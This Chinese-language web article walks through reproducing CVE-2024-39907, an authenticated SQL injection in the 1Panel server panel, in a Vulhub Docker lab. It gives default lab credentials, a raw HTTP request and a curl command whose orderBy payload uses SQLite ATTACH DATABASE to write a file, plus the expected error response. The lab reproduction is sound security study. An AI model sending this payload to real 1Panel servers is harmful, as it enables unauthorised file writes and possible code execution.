ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

Vulhub 如何复现 1Panel CVE-2024-39907 的 SQL 注入并用 ATTACH DATABASE 写文件

Vulhub 如何复现 1Panel CVE-2024-39907 的 SQL 注入并用 ATTACH DATABASE 写文件 Vulhub 如何复现 1Panel CVE-2024-39907 的 SQL 注入并用 ATTACH DATABASE 写文件【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub这篇文章的任务是在 Vulhub 提供的 Docker Compose 环境中启动一个存在漏洞的 1Panel v1.10.10-lts登录后利用/api/v1/hosts/command/search接口orderBy参数上的 SQL 注入用 SQLite 的ATTACH DATABASE在容器文件系统中写下一个文件。1Panel 是一款基于 Web 的 Linux 服务器管理控制面板CVE-2024-39907 是其中多个 SQL 注入漏洞的集合部分注入点可导致任意文件写入进而达到远程命令执行RCE。该漏洞影响 v1.10.9-lts 及更早版本已在 v1.10.12-lts 中修复。你需要一台安装了 Docker 和 Docker Compose 的主机完整说明见 README.zh-cn.md。启动漏洞环境在漏洞目录仓库内1panel/CVE-2024-39907其中包含 docker-compose.yml下执行docker compose up -d该 compose 文件启动的是一台有漏洞的 1Panel v1.10.10-lts镜像为vulhub/1panel:1.10.10端口映射10086:10086并设置了环境变量TZAsia/Shanghai。容器启动后服务通过10086端口对外提供。登录并获取会话 CookieCVE-2024-39907 是登录后的漏洞注入请求必须携带登录后的会话所以复现的第一步是登录访问入口http://your-ip:10086/entranceyour-ip替换为你主机的实际 IP端口10086用户名1panel密码1panel_password入口路径entrance登录成功后从浏览器或代理工具中记下 Cookie 里的psession值后续请求需要带上它。发送 ATTACH DATABASE 注入请求漏洞位于/api/v1/hosts/command/search接口orderBy参数缺乏输入验证直接拼接进 SQL。按文档发送如下恶意 POST 请求your-ip与psession需要替换为你自己的值文档原文中的Content-Length: 83与实际请求体长度不一致用工具重发时由工具自动计算即可无需手填POST /api/v1/hosts/command/search HTTP/1.1 Host: your-ip:10086 Accept-Language: zh Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Cookie: psessionyour-session-cookie Connection: close Content-Type: application/json Content-Length: 83 { page:1, pageSize:10, groupID:0, orderBy:3;ATTACH DATABASE /tmp/randstr.txt AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;, order:ascending, name:a }等价的 curl 写法把主机IP和登录后的 psession 值替换为实际内容curl -X POST http://主机IP:10086/api/v1/hosts/command/search \ -H Content-Type: application/json \ -H Accept: application/json, text/plain, */* \ -H Accept-Language: zh \ -H Cookie: psession登录后的 psession 值 \ -d { page:1, pageSize:10, groupID:0, orderBy:3;ATTACH DATABASE \/tmp/randstr.txt\ AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;, order:ascending, name:a }载荷的逻辑是借orderBy参数在排序语句后追加语句ATTACH DATABASE /tmp/randstr.txt AS test让 SQLite 在服务器文件系统上创建数据库文件/tmp/randstr.txt随后在该库中创建并删除test.exp表。1Panel 后端处理请求时会执行这些注入的 SQL 命令而不做验证ATTACH DATABASE成功后就在容器里写下了任意文件。判断注入是否成功请求返回 HTTP 200响应体文档示例来自上图 Burp 抓包HTTP/1.1 200 OK Content-Type: application/json; charsetutf-8 { code:500, message:...: SQL logic error: table exp already exists (1), data:null }判定依据是响应中出现的 SQLite 错误SQL logic error: table exp already exists (1)。这个错误来自载荷里连续两次执行create TABLE test.exp第二条建表语句因表已存在而报错并被后端原样返回——错误本身说明注入的 SQL 语句确实进入了 1Panel 的 SQLite 数据库并被执行ATTACH DATABASE已经把/tmp/randstr.txt写入容器文件系统。文档同时指出这些数据库操作命令的成功执行证明了该 SQL 注入可被利用并可能进一步达成远程代码执行。适用范围与限制版本边界漏洞影响 1Panel v1.10.9-lts 及更早版本v1.10.12-lts 已修复本环境固定使用 v1.10.10-lts镜像vulhub/1panel:1.10.10。前置条件漏洞需要有效登录会话psessionCookie未登录无法触发。演示范围文档只给出了用ATTACH DATABASE写文件/tmp/randstr.txt的载荷并说明任意文件写入最终可达成 RCE但没有提供具体的 RCE 载荷RCE 部分不在本环境文档的演示范围内。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表